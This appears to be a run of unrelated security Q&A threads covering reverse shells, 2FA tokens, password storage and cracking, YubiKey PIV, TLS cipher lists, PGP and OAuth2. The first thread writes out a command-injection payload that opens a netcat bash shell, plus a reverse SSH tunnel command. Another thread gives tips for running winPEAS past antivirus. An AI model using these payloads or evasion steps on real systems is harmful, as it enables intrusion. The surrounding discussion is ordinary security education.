Reverse shell attack and proxy interceptions.. . is there anything worng? First I've got a few questions about Reverse shell.

REVERSE SHELL

I'm trying to understand the Reverse shell technique.

My reasoning is as follows (I'd be glad if you could point out any mistake about it)

1) Reverse shell is different (I'd say the opposite) from a normal shell since in this particular case the remote server opens a connection (normal or direct shell implies that the client establishes a connection to the server)

2) Reverse shell can bypass firewall controls since it's basically an outgoing connection. Firewalls are supposed to guard against incoming connections.(Probably this might be questionable)

ATTACK

3) Furthermore, is the following scenario feasible? (I mean, can I inject command through
a proxy software like ZAP?)

Scenario: A site is vulnerable to user's input data. Users insert data through a text field.

OS: GNU/Linux. Server: Apache/2.2.15 X-Powered-By:PHP/5.3.5

Suppose that through a proxy software (like ZAP) after some checking, you are able to
note that there's a field which matches the user's input field available through the user interface.

The field is called: user_val.

Given that, I can try to inject a simple command separator ";" which practically it is as though  you set: user_val=;

Then I notice that there are some files embedded in the web page the application returns.

Wow, the app is vulnerable.

The application is vulnerable, so it's possible to directly interact with the server file system.
Now ...the knotty problem (for me)
4) Is the following command correct? (Using ZAP I try to fire up a reverse shell)

netcat -v -e '/bin/bash' -l -p 40552

-v (verbose),-e (when a connextion is made it runs the Bash shell), -l (parameter to listen for a connection)
-p (it enables to assign a port to listen on, here port 40552), the port chosen must be free.

5) So using ZAP the injection is the following code correct?:

user_val=; netcat -v -e '/bin/bash' -l -p 40552

Thanks a lot (I do apologize for the long post).

Yes, reverse ssh may be used to bypass firewall incoming limitations.

But As you have to run such a command on target:

ssh -R 2222:localhost:22 myuser@myipaddres

This will be visible by sysadmin via a simple

ps -C ssh ww

This command will print your IP address and the login used for remote ssh.

The following command:

netstat -tanp |
    sed -ne  '
        s/tcp.*\(127.0.0.[0-9]*\):22[\t ]*\1:.* \([0-9]\+\)\/.*/\2/p
        ' |
        xargs -n1 ps wwho sid --ppid |
        xargs  -n1 ps efwh --sid

will print exactly what you'r doing right now.

At all, if you're logged into a honeybot, (real) .bashrc contain something like script for logging everything you do.

And last but not least, Reverse SSH implie that target have an acccess to one of your host. So be care that in this host, there are not another opened ssh session.


OTP vs. U2F for online banking and email (vs. store key on USB) Which one among OATH HOTP, OATH TOTP on one side (say in the form of a credit card-sized token) and U2F (say in the form of a USB key) on the other side you think is more secure for purposes like online banking, email, and similar? What are the pros and cons of each, both at the technical crypto level and as usability?

A third option I can see, e.g. to use with a password manager like keepass or PGP key, is to store the key on USB stick: how does this compare in security to the above ones?

Standard password (even locally encrypted), xOTP (OTP, HOTP, TOTP) [with or without SMS codes] have many vulnerabilities and the most important now is : NO REAL PROTECTION AGAINST PHISHING. A quick visual reminder about that : http://www.neowave.fr/pleaseno/SMS_OTP_TOTP_QRCODE_SSL_ARE_NOT_SOLUTIONS.pdf

FIDO U2F is a true but simple PKI based solution (Elliptic curve / assymmetric cryptography), even if not perfect, no easy relay / phishing attack will work on FIDO U2F.

Regarding Xiong Chiamiox comment : FIDO U2F already exists for desktop/laptop (Windows, Linux, OSX) as USB Security keys but there are FIDO U2F NFC Cards available too for Android smartphones and tablets. Later this year, there will even be Bluetooth Low Energy (BLE) device that will -at laaaast- bring FIDO U2F to iOS device.


What are web attacks which users can run code on your servers? I hear stories about insecure web servers and sites which people (or bots) break into and execute their own code on the server.

My question is how is that possible? I heard of people putting their own javascript on websites stealing cookies and techniques how to do that. I never heard of actual attacks to execute code. I know mysql injections can be used to steal data and put in javascript code on pages. But i am still having trouble thinking of how the weakness of a site can compromise a server. How is that possible?

To be able to run code on your server, I could:

Upload a file using one of your web forms. But instead of an image, I upload a PHP file. Then I can run the code in the PHP file with the privileges of the webserver process.
Exploit a buffer overflow to get a shell on your server.
Log in as an administrator and upload code:

Social engineer the password from one of your administrators.
Use an XSS attack to steal session cookies from one of your administrators.
Use an SQL injection attack to read the password table, then:

read the passwords that you stored in cleartext, or
run a password guessing program to crack your poorly chosen passwords.

Use a directory traversal attack to get a copy of your system password file and use one of the password-cracking methods mentioned above.
Physically steal a backup tape to get a copy of your database and use one of the password-cracking methods mentioned above.

Use any of dozens of methods of taking over a machine on your intranet and using that as a platform to upload code to the web server.
Physically get myself in front of your server console.

Note that I don't necessarily have to attack your app. I can attack vulnerabilities in your webserver, OS, or people for example.


Is using 'dot' and 'at' in email addresses in public text still useful? When entering your email address publicly, a practice is to replace . with text dot and @ with text at. I assume that the reasoning is that this way automatic email-collector robots won't match your address so easily. I still see updated websites using this.

However, this practice is not very hard to workaround with a program, and it has been around since more than a decade (as of 2013). Anyone in the business of collecting emails had quite enough time to update all their robots to handle this. Are there still robots that doesn't handle this? Why?

Are there any reasons remaining today to use this kind of mangling?

To understand this, we must understand how crawlers find the email. While steering away from the technicals, the basic idea is this (today's algorithms are, of course, smarter than that):

Find @ in the page.
Is there a dot within 255 characters after the @?
Grab what's behind the @ until you reach a space or the beginning of the line.
Grab the . and what's behind it until you reach the @.
Grab what's after the . until your reach the end of the line or a space.

Now, an easy countermeasure would be to replace the @ with at and the . with dot. The most intuitive counter-countermeasure would be to teach the crawler that at is actually @. Well, it's not that simple. Take the following text:

  We climbed into the attic and found a dotted piece of wood. Please email us: adnan at gmail dot com.

Now let's run our new crawler on it. First it will find the at in attic, then it will find the dot in dotted. The resulting email would be the@ticandfounda.ted, then it will find the second email adnan@gmail.com. Then spammers started teaching crawlers about finding certain domains, ignoring spaces, taking spaces into account, considering certain domain names, etc.

Then we started using images, spammers used OCR. We started using JavaScript tricks, inserting comments, URL-encide, etc. and always the spammers found a way to get around them. It's a race.

Having that said, the most basic techniques usually give good enough results (apparently, in some place in the world, that link is NSFW. Personally, I disagree), and the more obfuscate, the better results you get.

So, to directly answer your question: Is using 'dot' and 'at' in email addresses in public text still useful? Yes, I think so, at least to some degree. But this solution has been around long enough for us to assume that some crawlers have already found a way around it.

My advice? Either use some fancy advanced munger, or simply use images.


Obfuscating an .exe file Is there a way to obfuscate an existing .exe file?
I'm in a situation where I cannot transfer the winPEAS.exe file (for PrivEsc purposes) on a Win10 machine because of the AV blocking the executable.
Any other solution will be appreciated.

There are readily made obfuscated winPEAS executables released by Carlos Polop.
If those are detected and blocked by AV as well, I would suggest firing up a SMB server and execute your winPEAS from there. I'm pretty sure the AV will not detect it.
Also, you can try in-memory execution of winPEAS batch via PowerShell. This way, you will not be writing winPEAS to the disk. There might be a chance AV does not detect it
If all else fails, perhaps you might want to read into what winPEAS does and perform manual enumerations yourself.


uploading pkcs12 to yubikey piv slot i have a id_rsa (private key which is used by me to authentication and encryption together with cert on yubikey piv smardcart provider on slot 9a) now i wish to use this key to create a pkcs12 keystore (private key + self signed cert) to sign jar files (android apk) via other slot on yubikey piv

i have created pkcs store this way:

$ openssl req -new -key id_rsa -out server.csr
$ openssl x509 -req -days 3650 -in server.csr -signkey id_rsa -out server.crt
$ openssl pkcs12 -keypbe PBE-SHA1-3DES -certpbe PBE-SHA1-3DES -export -in server.crt -inkey id_rsa -out server.crt.p12 -name "Singnin cert"

and when i try upload those pkcs12 (or as separate key/cert) to slot 9c via :

Import the key and cert, do one of the below:

Import the key and cert (PEM format) in slot 9a:

  $ yubico-piv-tool -s 9a -a import-key -i key.pem
  $ yubico-piv-tool -s 9a -a import-certificate -i cert.pem

Import the key and cert (PKCS12 format) in slot 9a:

  $ yubico-piv-tool -s 9a -a import-key -a import-cert -i key.p12 -K PKCS12

i get error

Enter Password:
Invalid public exponent for import (only 0x10001 supported)
Unable to import private key

ps. i use management key

i have tried convert id_rsa to to pkcs8  or remove pasphrase

could anyone explain me what is this error about ?  i have google about this but with no luck

my idr_rsa

-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: DES-EDE3-CBC,[some numbers I've cut]

YUBIKEY PIV certificate slots

A PIV-enabled YubiKey holds 4 distinct slots for certificates, as specified in the PIV standards document. Each of these slots is capable of holding an X.509 certificate, together with its accompanying private key. Technically these four slots are very similar, but they are used for different purposes.

Slot 9a: PIV Authentication
This certificate and its associated private key is used to authenticate the card and the cardholder. This slot is used for things like system login. The end user PIN is required to perform any private key operations. Once the PIN has been provided successfully, multiple private key operations may be performed without additional cardholder consent.

Slot 9c: Digital Signature
This certificate and its associated private key is used for digital signatures for the purpose of document signing, or signing files and executables. The end user PIN is required to perform any private key operations. The PIN must be submitted every time immediately before a sign operation, to ensure cardholder participation for every digital signature generated.

Slot 9d: Key Management
This certificate and its associated private key is used for encryption for the purpose of confidentiality. This slot is used for things like encrypting e-mails or files. The end user PIN is required to perform any private key operations. Once the PIN has been provided successfully, multiple private key operations may be performed without additional cardholder consent.

Slot 9e: Card Authentication
This certificate and its associated private key is used to support additional physical access applications, such as providing physical access to buildings via PIV-enabled door locks. The end user PIN is NOT required to perform private key operations for this slot.

i have read:

https://crypto.stackexchange.com/questions/3110/impacts-of-not-using-rsa-exponent-of-65537

https://crypto.stackexchange.com/questions/10809/openssl-rsa-how-many-public-exponents-are-possible

Should RSA public exponent be only in {3, 5, 17, 257 or 65537} due to security considerations?

https://stackoverflow.com/questions/10736382/what-does-e-is-65537-0x10001-mean

ps. i have dump txt via

$ openssl rsa -text -in id_rsa

and there is

publicExponent: 37 (0x25)

is there a way to change the public exponent to 0x10001? or do i have generate new key ;/ and all certificates from scratch ?

ps2.

i have dig out such a text about possibility but no further explanation

https://crypto.stackexchange.com/questions/30316/is-it-possible-to-correct-the-exponent-of-an-rsa-public-key-if-it-has-been-alter

(Crosspost of https://crypto.stackexchange.com/questions/33728/uploading-pkcs12-to-yubikey-piv-slot which is offtopic there.) It is theoretically possible to change the public exponent while keeping n as long as the new e is coprime to p-1 and q-1, and for F4 you have a good chance of this. But this is much more work than generating a new keypair, plus it does require regenerating the cert(s).

I'll guess you generated your RSA keypair with ssh-keygen from OpenSSH; that's the only common tool I know that chooses e=37, and it also defaults to filename id_rsa. The easy answer is to instead generate the keypair with OpenSSL which defaults e=65537 aka F4 (at commandline). Further, req can combine keypair generation with CSR creation, and unless you need to keep the CSR file can also skip the CSR and produce a selfsigned certificate directly by adding -x509:

openssl req -newkey RSA:bits -x509 -days 3650 -keyout privatekey -out server.crt
# proceed with PKCS12 conversion etc.

If you are planning to use this for SSH, note that OpenSSH can perfectly well use an RSA key with e=65537; it simply doesn't generate one.


How secure are password managers with account recovery? The major commercial password manager companies claim to have a "zero knowledge" system. This means the master password of the user is the only way to decrypt the data and it's is not stored anywhere. So even the company doesn't know the master password or has access to the users data.
I've put hands on KeeperSecurity, LastPass, Dashlane and 1Password.

So far so good. But KeeperSecurity and LastPass provide a possibility to recover an account when the user has lost his master password. I mean how is this possible, if the master password is the only way to access the data and nobody knows it except the user?

KeeperSecurity manages this by saving a second copy of the users data which is not encrypted with the master password, but with a security question, previously asked, and answer.
But this means there is another way of accessing the users data. And there is the chance that somebody knows the security answer. Okay the recovery requieres access to the email account and to a second auth factor. BUT still there is another chance of accessing the data besides the master password!

Dashlane and 1Password do not provide an account recovery.

How can those password managers pretend to be secure and claim that the master password is the only way to access the data, but on the other hand provide a recovery option.

What do you think about password managers with recovery option? I mean everybody who is using a password manager should be aware of loosing the master password.

Is a password manager with recovery option really trustworthy? Maybe someone could give a little valuation about security of such recovery systems.

Having a recovery option is perfectly fine as long as it is adequately secured. Whether you prefer losing your passwords if you lose the master password or want to trust the password manager company with access to your passwords is up to you.

Keep in mind that security is a means to an end. There are always trade-offs to be made. You can have a perfectly secure computer by not having a computer. Usability suffers, though.

Edit:

Since people in the comments want the specific question of "how secure are password managers with recovery option" answered, I will add some points:

It is possible to provide recovery options which are secure, but this always depends on the attacker model. Security ALWAYS depends on the attacker model: Passwords are very bad against-mind readers!

Here are some possible ideas for reasonably secure recovery schemes:

Encrypt a copy of the database under a different key and ask your users to print this key and store it in their safe. That's what keybase.io does, or the Ubuntu drive encryption.
Store a DB copy which requires a key from the company on the users machine.
Have two departments at the company, one storing a DB copy, the other storing necessary the key. If you want to recover, both verify your identity and send you their part.

However, none of these mean that it is impossible for somebody else to get your passwords. (not using "zero knowledge" because that has specific meaning which works completely different when applied to passwords) After all employees might collude or safes can be broken into.

Every recovery option for you is also a recovery option, or an alternative attack path for stealing your passwords.

Remember: If you want to ask "How secure is X?" your attacker model must be obvious or stated. Security always depends on the attacker model! There is no absolute security.


When passwords of a website leak, are all leaked passwords equally easy to read? As far as I know, when passwords from a website leak, they leak in an encrypted form. Are all those passwords equally easy to decrypt? My hunch is that a 10-character-long password maybe gets decrypted in a few minutes, but if a password is 100-characters-long, it takes days or years to decrypt. Does it make sense?
Is setting a very long or difficult password a real protection from leaks? I'm asking even about passwords like passpasspasspass11111passpasspasspasspass compared to pass11111.

As others have mentioned, "most sites" hash the passwords, they do not encrypt them. But a site can choose to do whatever they want. Some sites have encrypted passwords and some have stored the password as plaintext. Obviously, if they are stored as plaintext, then there is no difference in how long your password is.
But let's assume that the site did what they are supposed to do and hashed the password with a salt. The length of the password does make a difference to the ability to brute force a guess of what the hash might be, but that assumes that the password is random.
A hash of a 100-characters-long password that is well-known will be cracked very quickly. And that's a factor that a lot of people forget to account for. Length makes it more difficult to guess if you are having to guess each character at a time. But if you are using a dictionary of well-known passwords, then length is no longer a protection if your password is in that dictionary.
So, your question is a good one. Not all passwords can be cracked as easily as others, and length can be a factor in how difficult it is to crack, but the overall factor to consider is how guessable the password is. Length can make it harder to guess, but not by itself.


Will completely wiping your hard drive remove all malware? I recently bought a new computer. Now I want to convert my old PC into a Linux system. However, I want to start completely fresh and not bring over any malware.  I am already planning to wipe everything to start from scratch and I was wondering if this is enough.

If not, are there additional steps I can take to do so, keeping in mind that there is nothing on this PC I care about saving?

How deep down the rabbit hole do you want to go?

For OS level malware: Sure, wiping the hard drive is fine. To be extra sure, overwrite the entire hard drive with 0s manually using a secure erase tool.

For hardware/firmware level malware: Well... no. These things live in the actual firmware of your PC and will reinfect your hard drive every time.

For periphery level malware: Now this is a much deeper hole to dive into than OS level and not as bad as the firmware level, but the gist of it is that something else on the network is infected, and will infect you too. This most commonly happens with routers, but if this sort of attack was already happening you'd see weird page redirects, odd DNS settings, and bad behavior on your entire network.

Now out of the truth of the matter:
You probably only have OS level malware, if any, which is easy to fix. Just reformat, secure erase, and reinstall. Have fun!


What happens if an attacker steals my phone's IMEI number? I have some questions regarding IMEI numbers and data and identity theft. While searching online I have found many conflicting answers regarding this topic and would like some clarification if possible.

Hypothetically, an enemy of mine gets a hold of the IMEI number and only the IMEI number of my smartphone. Can he steal or view my data with it?

As far as I know, with an IMEI number, you can report a phone stolen and it will get blocked. Or you can clone the IMEI on another device. What are the implications and consequences if someone clones my IMEI on another device other than the risk of getting the IMEI blocked?

I have also read that if a person has your IMEI number they can easily hack into your WhatsApp account, if they also have your phone number, since the IMEI is viewed as the password for WhatsApp.

My biggest concern is not that my phone would get blocked, it is that someone that has my IMEI number can view my personal data on my smartphone. Emails, pictures, texts, social media, eavesdropping etc... Can someone do that with just the IMEI number? And if so, why is this number so easily obtainable? You can find it on the box of the smartphone and numerous other ways to obtain it on the phone. Including some apps that make use of it. I also see people posting their IMEI on forums. How safe is that?

IMHO the IMEI is a device identifier (International Mobile Station Equipment Identity). You can retrieve it from any device by dialling *#06#. So it´s not a real secret, and anyone borrowing your phone for a short moment can get hold of it. The IMEI is bound to the device, not your phone number or account. It could be used to track stolen phones, and to lock them out from networks (done in a few countries, but not across borders or carriers normally, they could not agree on a global DB). However, some phones apparently allow changing the IMEI, which is of course a bad idea (why hardware vendors allow such things BTW, is it too hard to burn in a number of bytes and then make them read-only?) and people could overwrite it easily.

If WhatsApp would use the IMEI for personal identity I could not change my phone anymore, if my old one breaks. The whole idea of GSM was and is that you are not bound to the phone, rather you are just bound to the SIM card, and that is what needs to be protected. The SIM is your key to your telephone number, that´s the reason why you got a PIN code and why it locks you out after 3 failed attempts...

I don´t believe there is any identity theft possible by knowing telephone number and IMEI. You need to get hold of the SIM card, somehow hack it and retrieve the IMSI. This is what identifies you against the mobile provider. Read this: https://www.quora.com/What-is-the-difference-between-ICCID-IMSI-and-IMEI-numbers

Even your telephone number does not need to be stored on the SIM. For example, my private datacard-only SIM displays an invalid phone number when asked, but on my invoice I can see a real one, which even accepts SMS.


What are some examples of known scenarios of network attacks? For example, it is possible that someone could spread malware with insecure wifi access point, but I don't realize how sending a bunch of network packets can result into a compromised computer if the transferred malicious code can't be explicitly(i.e. allowed by user) executed.

Can you refer to the description on how this normally happens in reality? I consider only cases when computer user doesn't realize there is something wrong going inside it, and those which are related to code execution.

A bunch of network packets does not usually reside in code execution. It can though result in code execution if the software dealing with these packets (i.e. the OS kernel, a specific driver or some application which gets fed the payload) improperly handles the data. Improperly means typically having specific expectations about the data but not ensuring that these expectations are actually met.

Some examples for such attacks at various levels of the software stack:

Cisco ASA Software IKEv1 and IKEv2 Buffer Overflow VulnerabilityBuffer overflow in the Cisco iOS operating system caused by crafted (i.e. unexpected) UDP packets.
BroadPWN: remotely compromising android and ios via a bug in broadcom’s wi-fi chipsetsBuffer overflow in Wifi driver allows kernel level code execution using crafted packets.
MS14-066: Vulnerability in SChannel could allow remote code executionAgain, crafted  data inside the TLS handshake which were improperly handled by the Microsoft SSL stack.
ShellshockData from the HTTP request header where propagated into environment variables of CGI script running in the web server. Due to a bug in the bash shell (used to execute code in some CGI scripts) the attacker could achieve code execution with a simple (again, crafted) HTTP request.


Is there a threshold for a password so long it doesn't get any more secure or even becomes insecure? I always hear "A long password is good, a longer password is better". But is there such a thing as a "Password is so long it is becoming unsafe" or "Password is long enough, making it longer won't matter"?

I am interested in the security of the password regarding cracking it only.
Not if it can cause a DoS overload the servers while hashing, or if the vendor thinks otherwise.

Also assume the password does not contain any dictionary it'd be in comments anyway. words, is stored using best practices, has a strong and unique salt, and relevant entropy per character. How the user will remember / recall / store the password also doesn't matter.

I agree that longer / passwords / are safer. I'm asking about the upper limit.

Is there a length (or entropy size) where making the password longer no longer (sic) matter, or even weakens its security? I know it depends on the hashing algorithm, if the upper limit for a given algorithm exists and is known, what is it?

128 bits (of entropy)

The main purpose of a longer password is to prevent brute force attacks. It is generally accepted that 128 bits is beyond anyone's capability to brute force, and will remain so for the foreseeable future. You see this figure in a few places, e.g. SSL ciphers with 128-bit or greater key length are considered "high security" and OWASP recommends that session tokens be at least 128-bit. The reasoning is the same for all these - 128 bits prevents brute force attacks.

In practice, if a password is made of upper and lower-case letters, numbers, and a little punctuation, there is approximately 6 bits of entropy in each character, so a 128-bit password consists of 22 characters.

A password can be compromised in ways other than brute force. Perhaps there is a keylogger on the client system, or the user gets phished. Password length makes almost no difference to these attacks - even a 1000-bit password would be captured just the same. And these attacks are common in practice, so it really isn't worth using passwords that are too long.

In fact, you can get away with a bit less than 128 bits. If the password is hashed with a slow hash function like bcrypt, that makes a brute force attack harder, so 100-bits (or thereabouts) completely prevents brute force attacks. If you're only concerned with online attacks, and the site has a lockout policy, then you can get away with less still - 64-bits would completely prevent a rate limited online brute force attack.


How to determine the threat agent for analyzing risk of a threat? When doing Risk Assessment of a threat, how can I find the best threat agent for the risk assessment?

For example, the asset which has the vulnerability related to the threat may be in an internal network behind a DMZ.

In this case, some of the possible threat agents I can think of for analyzing the risk of this threat are:

Criminal hackers (External)
Criminal Organizations (External)
Insider Employee
Insider Operational Employee (Sysadmin/Developer)
etc...

If the vulnerability of my asset can be accessed only by local network, I have to assume that the first two threat agents have somehow broken the security of the internal networks to gain the access to the local network.

But for the Insider Employee and Insider Operational Employee, I do not have to assume that they have to exploit another vulnerability/ies to gain the access to the local network to gain the access to the vulnerability of my asset. They do not need to have any prerequisites to do the attack, like external attackers.

So on the one hand, it seems to me that it is better to consider the threat agent which does not need to do any prerequisite step for assessing the risk of this threat.

But this is the first time I am trying to a risk assessment. Therefore I am not sure what is correct. So, I would appreciate any guidance on the right direction.

First and foremost you must consider the business goal of the application. Only after you have determined the business goal you are able to define your threat agents. Discuss the motives for the threat agent, i.e., is it likely that a state or nation is going to attack your application? is it likely that a script kid would attack your application? Why and why?

For a first threat modeling exercise I suggest you start easily with 1-2 likely threat agent(s) just to get going. However, for a complete threat modeling you should consider each likely threat agent and iterate through the full application for each threat agent.

Just a side-note to your example list, do not forget about unintentional human attacks, just Google and you'd easily get your hands of a list with possible threat agents.

I personally like this video for threat modeling:
https://www.youtube.com/watch?v=We2cy8JwVqc


Suspicious visits to one URL from same user-agent but from unique IPs For the past few weeks, I am observing a lots of visits from a specific user-agent - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.135 Safari/537.36 to one particular URL.
The user-agent corresponds to chrome 84 on windows 10 desktop. This browser is an old browser and the overall contribution to traffic is lesser than 1%. But for the particular URL I am speaking about, 95% of the traffic is from this user-agent. Bounce rate is 100% for these visits. What is more confusing is that all the visits are from unique IPs and I couldn't find a pattern (like common location, revers DNS host, etc.,) in them.
I am clueless about where to start and how to proceed. Could this be a bot activity? If so, is there a way to find and prevent using firewalls like mod_security.
P.S: I am using apache 2.4 server with mod_security and OWASP ruleset 3.3.

Based on conversation with OP in the comments following the question, Cloudflare's web application firewall (WAF) may be a solution.  See comments for more information as to why OP feels that this problem needs to be addressed, why this problem may be difficult for him to solve on his own using mod_security, and how Cloudflare's WAF may be a more effective solution.


Attacking several browser/OS combinations with only one link I’m relatively new to this topic so forgive what may be an obvious lack of understanding.

Say that an attacker had a malicious website whose objective was to plant a Trojan into the device of the user who clicks on a particular link.

Assuming that the website could be accessed by various browsers and/or operating systems, and that they only wanted to include one malicious link in the website, would they be confined to targeting only one browser/OS combination? Or could several Trojans be included in one link, each targeting a different browser/OS combination?

Your browser provides to every visited website a string identifying itself and your OS, in the User-Agent header.

A website could use that information to provide the appropriate file. It is quite common on normal software that the download you are offered is the one matching your system.


Why do capability-based security systems protect against the confused deputy problem? According to Wikipedia (https://en.wikipedia.org/wiki/Confused_deputy_problem):

  In information security, the confused deputy problem is often cited as
  an example of why capability-based security is important, as
  capability systems protect against this, whereas access control
  list-based systems do not.

Why is this the case? Surely no matter what security system you are using, an adversary could always potentially trick a privileged program into using its privilege regardless of whether it is coming from a capability or based on ACLs and the ambient authority of the requesting program.

You are correct in a sense. The root of the problem generally speaking is that the abused subject tends to have broad authority, it's not constrained. If the subject was only permitted to act based on their capabilities, the abuse will be constrained also.


Disabling TLS protocol in protocol level or in cipher list level: What's the difference? So, I stumbled into this question: Why doesn't the TLS protocol work without the SSLv3 ciphersuites? In that question OP tried to disable SSLv3 by disabled it at both protocol and cipher list (by adding !SSLv3). The result is his TLSv1 doesn't working so he just need to disable it in protocol level.

Well, I'm confused about those two things, protocol and cipher list of OpenSSL.

This page stated that these two were important parameter of OpenSSL, but why we need separate those two parameter? Why not use cipher list only?
What's the difference between disable SSLv3 (or other) in protocol level and cipher list level?
If the user disable SSLv3 and SSLv2 in his cipher list (adding !SSLv3:!SSLv2) but he doesn't disabled it protocol level, what happened then? Can someone make connection with SSLv2?

The confusion comes from the way OpenSSL words its configuration options.

In the protocol, there are two very distinct things:

The protocol version. This can be SSL 3.0, TLS 1.0, TLS 1.1 or TLS 1.2 (or something else, not yet defined). Internally, the version is encoded as a 16-bit integer of value 0x0300, 0x0301, 0x0302 or 0x0303, respectively (so TLS 1.0 really is "SSL 3.1" on the wire). (I am not talking about SSL 2.0 here.)
The cipher suites. These are (on the wire) 16-bit identifiers for the combinations of cryptographic algorithms that the client and server are willing to use. The client sends a list, the server chooses the one which will be used. Most cipher suites work for SSL 3.0, TLS 1.0 and TLS 1.1; a few recent cipher suites work only with TLS 1.2 because they use protocol features that are available only with TLS 1.2.

OpenSSL uses, in its configuration string for specifying a list of cipher suite, some mnemonics such as "SSLv3". In that context, "SSLv3" does not mean "protocol version 0x0300"; it means "the list of cipher suites that can work with SSLv3". When you write "!SSLv3" in the configuration for the list of supported cipher suites, you should read it as "remove all cipher suites that could possibly work with SSL 3.0". But this is NOT: "remove all cipher suites that could possibly work with SSL 3.0 when actually using SSL 3.0". The removal is all-or-nothing; you do not get to remove support conditionally on the protocol version (that would be conceptually feasible, but OpenSSL does not work like that).

So if you remove support for all cipher suites that could possibly work with SSL 3.0, you are also removing the cipher suites for ulterior protocol versions. In particular, since SSL 3.0, TLS 1.0 and TLS 1.1 all use the same cipher suites, the only remaining cipher suites in your list are the ones that are specific to TLS 1.2. In effect, you have just killed TLS 1.0 and 1.1 support as well.

If you use "!SSLv3:!SSLv2" then the server can pretend to still support SSL 2.0, but with an empty list of supported cipher suites, so it won't go far; an actual handshake won't happen. It is like giving the key for your car but removing the wheels.


Is there an open-source PGP that Encrypts-then-MACs, uses Blake2 or Whirlpool, and none of the NIST curves known to be compromised? I find the language of RFC4880-bis very disturbing on the topic of privacy.  I do not want "modest" security.

  "Consequently, because it [MDC] is a modest security system, it
  has modest requirements on the hash function(s) it employs."
  [emphasis mine]

Jaw hits floor.

Moreover, speed is not the most important thing--privacy is. I do not want to see SHA-1 anywhere. I don't care if the OpenPGP Standard is followed.  I just want to encrypt some files and feel good about it. I don't care if the implementation must be paid for. GnuPG is enjoyable to work with, but I simply do not trust it.

Does a hardened PGP exist that is open source?  One that does not use curves which are known to be compromised (as GnuGP does), which uses hashes such as Blake2 and Whirlpool, and refuses to make any decisions that weaken security--namely, MAC-then-Encrypt.

No, however it is not necessary. Some of your presumptions are incorrect to start out with. The things you point out as security issues are not necessarily actual issues. Let me go into more detail.
MDC uses SHA-1 and MAC-then-Encrypt
The MDC is designed to avoid a decryption oracle attack, as well as accidental corruption. Both of these issues are effectively mitigated even when using a "modest" hash function. In fact, even MD5 would likely not cause issues, considering the MDC acts similarly to a MAC where collision resistance does not matter. Using a stronger hash function would not give you any real benefit. In order to have actual integrity guarantees, you must digitally sign the message. That will prevent a large class of attacks that MDC is unable to. Overall, MDC is not designed to give a strong guarantee of integrity. It is neither intended nor capable of doing so. It is only meant to protect from a particular, obscure attack, and to give some protection against accidental corruption that may lead to decrypting a garbled message.
BLAKE2 and Whirlpool are not supported
For signing a message, a hash function is used. For this purpose, SHA-256 and SHA-512 are fine. In this situation, SHA-1 may not be ideal, and for this reason, it is being phased out in favor of stronger functions. While entirely different functions may be nice, it is not necessary for security. SHA-2 is fine. They are completely preimage resistant and have very good collision resistance. Also note that Whirlpool, while not endorsed by NIST, is directly based on AES, which someone who has no trust in NIST whatsoever may want to avoid (not that there's any reason to suspect it is particularly weak). The attacks that SHA-2 are vulnerable to (such as length extension attacks) are completely irrelevant to the way they are used in the OpenPGP format. When the need arises, more hashes may be added.
NIST curves are used for ECC
This is not entirely true. A NIST curve (P-256, specifically) is used when ECDSA is in use, but ECDSA is being deprecated due to the same weaknesses that regular DSA has. It is supported, but it is not recommended or required. Newer GnuPG versions have a non-NIST curve, specifically Ed25519 to replace ECDSA. It is not as well supported, but it is faster and has superior security. I'd also like to note that P-256 and other NIST curves are not "known to be compromised", as you put it. The issue with P-256 is that it does not use nothing-up-my-sleeve numbers, making it theoretically possible that the values were chosen to enable a class of yet-unknown attacks. There is no actual evidence for that, but it is good to be cautious. That's one of the reasons ECDSA is being replaced by Ed25519.
The real issues
There are actual issues with GnuPG, but they are not among the things you mentioned. These issues tend to be newer things which were not a concern back when the OpenPGP format was thought up:

Forward secrecy is not present. Compromising the private key allows retroactive decryption.

Post-quantum cryptography is not in use. NTRU would be great, but it just isn't supported.

The Web of Trust is hard to get right, so most people who use PGP tend to rely on TOFU.

GnuPG is very complex. For parsing complex formats, a tight seccomp filter would be nice.

PGP involves non-intuitive concepts, making it hard to use. This hinders adoption rates badly.


Non Confidential OAuth2 flow I've been going through some documents regarding OAuth2 confidential and non-confidential authorisation flows, namely this and the RFC.

From my understanding, the non-confidential flow does not require the client_secret, or better yet, you actually shouldn't use the client_secret because you're assuming anyone can get a hold of it along with the client_id, thus making it easier to pose as the client app.

So in order to implement the non-confidential flow, the client must first work with the client_id issued by the server and a state generated by the client. Then the client should make use of a code returned by the server and the same state value. A redirect_uri must also be registered with the server.

AFAIK (As far as I know) that's what distinguishes the confidential from the non-confidential flow: the confidential flow requires the client_secret whereas the non-confidential doesn't. Moreover, this is what defines the non-confidential flow, the lack of a client_secret. Am I correct in assuming this?

Section 2.3 doesn't seem to be specific regarding this.

Related Q, from Section 4.1.3:

  If the client type is confidential or the client was issued client
  credentials (or assigned other authentication requirements), the
  client MUST authenticate with the authorization server as described in
  Section 3.2.1.

What exactly sits under "other authentication requirements"? Isn't this any client that has to be authorised?

A confidential client can keep/protect secrets, whereas a non-confidential client cannot.

Because non-confidential clients cannot keep secrets, the OAuth 2 specification does not allow Refresh tokens, or any kind of confidential information to be shared with such clients. This also means non-confidential clients cannot be trusted with secret or private keys.

Without such keys a client cannot authenticate itself (i.e. securely identify itself with a given client_id) with the authorization server.

Even though a non-confidential client is assigned a client_id, anyone can masquerade as that client_id. As such the authorization server deliberately limits the kind of information it will share with a non-confidential client.


Looking at encrypted open office documents So I'm both an aspiring writer and programmer, and when I write I prefer to password protect the documents so that people can't just look at them in their uncompleted (and highly personal/passionate) form. I'm not too worried about hackers, just inconsiderate people who happen to see my computer on a desk.

However, this has made me curious about two things concerning encrypted open office documents:

What program(s) could I use on either windows or linux that would allow me to see the garbled encrypted content for the sheer novelty of it? Would a non-encrypted word processor document be able to be read with all its coded formatting and text?
Let's say some hacker did steal my computer and really wanted to read the files: what would they do to try and crack the encryption? Is the encryption key long enough in open office to make solving the encryption key take an astronomical period of time?

What program(s) could I use on either windows or linux that would
  allow me to see the garbled encrypted content for the sheer novelty of
  it? Would a non-encrypted word processor document be able to be read
  with all its coded formatting and text?

Use any plaintext editor like notepad.exe, Notepad++, Gedit, Leafpad, nano, vi and many more. (As the name suggests, these are editors without any fancy formatting features, instead allowing to see and modify each byte in a file).

